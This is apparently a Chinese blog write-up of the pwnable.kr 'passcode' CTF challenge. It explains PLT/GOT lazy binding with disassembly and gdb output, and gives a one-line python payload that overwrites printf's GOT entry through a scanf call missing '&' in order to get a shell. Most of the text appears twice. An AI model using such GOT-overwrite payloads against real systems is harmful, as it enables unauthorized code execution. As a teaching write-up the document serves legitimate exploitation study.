pwnable.kr 之passcode summary
2017-04-23 16:02
441 查看
本人写这篇博客完全是为了方便以后查证,若能帮上各位的忙,在线非常宽慰.
关于pwnable.kr上的passcode,这博客写的很到位,大家不妨去看一下:passcode.我在这里只是补充几个问题,再将整个过程简单化而已.
1.plt表和got表的关系
plt表—->got表.当程序中有需要库函数时,该plt和got表上场了.我们来举一个简单的例子(test.c):
对于这个简单的程序,流程如下:
main—>showmsg—>printf.
printf函数是一个库函数,需要引入库调用,但在编译阶段是不清楚printf函数的地址(地址随机化).
从这个函数的汇编代码上可以看出,需要跳到0x8048350,这就是puts的plt,然后:
第一条指令跳转到0x0804a004地址处的值去执行,实际上0x0804a004就是一个对应的GOT(Global Offset Table)条目的位置了.我们使用:
也得出了puts的Got的地址
看到Got对应的函数地址,但printf经过第一次的调用之后,这个值会发生是改变.
原因是:PLT其实是延迟绑定技术,也就是等到调用函数的时候才进行函数地址的定位.第一次调用,plt—->got—->运算.将运算结果返回给got,这个运算结果是puts函数真正的代码所在处,下回再调用printf函数的时候,直接就是plt—->got—->代码.省掉了中间的运算过程,所以说,第一次稍微慢一点,后边就快了.
第二个问题:
答案的分析:
这里主要分析
0x0804a000是print函数的got表中的地址,在welcome中输入96个a+’\x00\xa0\x04\x08’.结果呢,login中的scanf函数在输入的时候,直接变量的地址就是:0x0804a000,输入的134514147(0x080485e3),将0x0804a000原有的地址给覆写了.这就是got表复写.在执行printf函数的时候,实际上执行的是system函数.
简单的说:
plt—->got—->真地址(printf函数的代码),经过我们覆写之后,
plt—->got—->假地址(system函数的代码).
这样我们就获得了shell.
第三个问题:为什么输入的内容刚好覆写printf函数的got表呢?
原因是:scanf(“%d”,a);无&符号.听别人讲:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址.这个栈应该是变量a的栈.就是说将a的值,16进制化作为地址,将你输入的内容写入这个地址中.如果这个地址不存在或不可写,将会报错.
从这个地方,我们可以看到无&的,取得地址是0x00007fff.
关于pwnable.kr上的passcode,这博客写的很到位,大家不妨去看一下:passcode.我在这里只是补充几个问题,再将整个过程简单化而已.
1.plt表和got表的关系
plt表—->got表.当程序中有需要库函数时,该plt和got表上场了.我们来举一个简单的例子(test.c):
#include <stdio.h> void showmsg(char *szMsg) { printf("%s\n", szMsg); } int main(int argc, char **argv) { char szMsg[] = "Hello, world!"; showmsg(szMsg); return 0; }
对于这个简单的程序,流程如下:
main—>showmsg—>printf.
printf函数是一个库函数,需要引入库调用,但在编译阶段是不清楚printf函数的地址(地址随机化).
void showmsg(char *szMsg) { 8048434: 55 push %ebp 8048435: 89 e5 mov %esp,%ebp 8048437: 83 ec 18 sub $0x18,%esp printf("%s\n", szMsg); 804843a: 8b 45 08 mov 0x8(%ebp),%eax 804843d: 89 04 24 mov %eax,(%esp) 8048440: e8 0b ff ff ff call 8048350 <puts@plt> } 8048445: c9 leave 8048446: c3 ret
从这个函数的汇编代码上可以看出,需要跳到0x8048350,这就是puts的plt,然后:
08048350 <puts@plt>: 8048350: ff 25 04 a0 04 08 jmp *0x804a004 8048356: 68 08 00 00 00 push $0x8 804835b: e9 d0 ff ff ff jmp 8048330 <_init+0x38>
第一条指令跳转到0x0804a004地址处的值去执行,实际上0x0804a004就是一个对应的GOT(Global Offset Table)条目的位置了.我们使用:
readelf -r test,得出:
DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT __stack_chk_fail 0804a004 R_386_JUMP_SLOT puts 0804a008 R_386_JUMP_SLOT __gmon_start__ 0804a00c R_386_JUMP_SLOT __libc_start_main
也得出了puts的Got的地址
(gdb) x 0x804a004 0x804a004 <puts@got.plt>: 0x08048356
看到Got对应的函数地址,但printf经过第一次的调用之后,这个值会发生是改变.
(gdb) x 0x0804a004 0x804a004 <puts@got.plt>: 0x001913b0
原因是:PLT其实是延迟绑定技术,也就是等到调用函数的时候才进行函数地址的定位.第一次调用,plt—->got—->运算.将运算结果返回给got,这个运算结果是puts函数真正的代码所在处,下回再调用printf函数的时候,直接就是plt—->got—->代码.省掉了中间的运算过程,所以说,第一次稍微慢一点,后边就快了.
第二个问题:
答案的分析:
python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
这里主要分析
'\x00\xa0\x04\x08'+'\n'+'134514147\n'.
0x0804a000是print函数的got表中的地址,在welcome中输入96个a+’\x00\xa0\x04\x08’.结果呢,login中的scanf函数在输入的时候,直接变量的地址就是:0x0804a000,输入的134514147(0x080485e3),将0x0804a000原有的地址给覆写了.这就是got表复写.在执行printf函数的时候,实际上执行的是system函数.
简单的说:
plt—->got—->真地址(printf函数的代码),经过我们覆写之后,
plt—->got—->假地址(system函数的代码).
这样我们就获得了shell.
第三个问题:为什么输入的内容刚好覆写printf函数的got表呢?
原因是:scanf(“%d”,a);无&符号.听别人讲:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址.这个栈应该是变量a的栈.就是说将a的值,16进制化作为地址,将你输入的内容写入这个地址中.如果这个地址不存在或不可写,将会报错.
从这个地方,我们可以看到无&的,取得地址是0x00007fff.
相关文章推荐
- pwnable.kr [Toddler's Bottle] - passcode
- pwnable.kr之passcode
- pwnable passcode 10pt
- WriteUp of pwnable.passcode
- Lintcode: Hash Function && Summary: Modular Multiplication, Addition, Power && Summary: 长整形long
- pwnable.kr-cmd1-Writeup
- The Art of Readable Code(summary)
- pwnable.kr col
- pwnable.kr [Toddler's Bottle] - collision
- python - summary with code on path operation
- pwnable.kr之lotto
- pwnable.kr - md5 calculator
- pwnable.kr [collision]
- google code jam 2009资格赛(pass)
- python - summary with code on Python For loop e...
- 全面剖析Pwnable.kr unlink
- pwnable.kr writeup hash
- FocusLifer code reading summary
- pwnable.kr之simple login详解
- simple login(Pwnable.kr)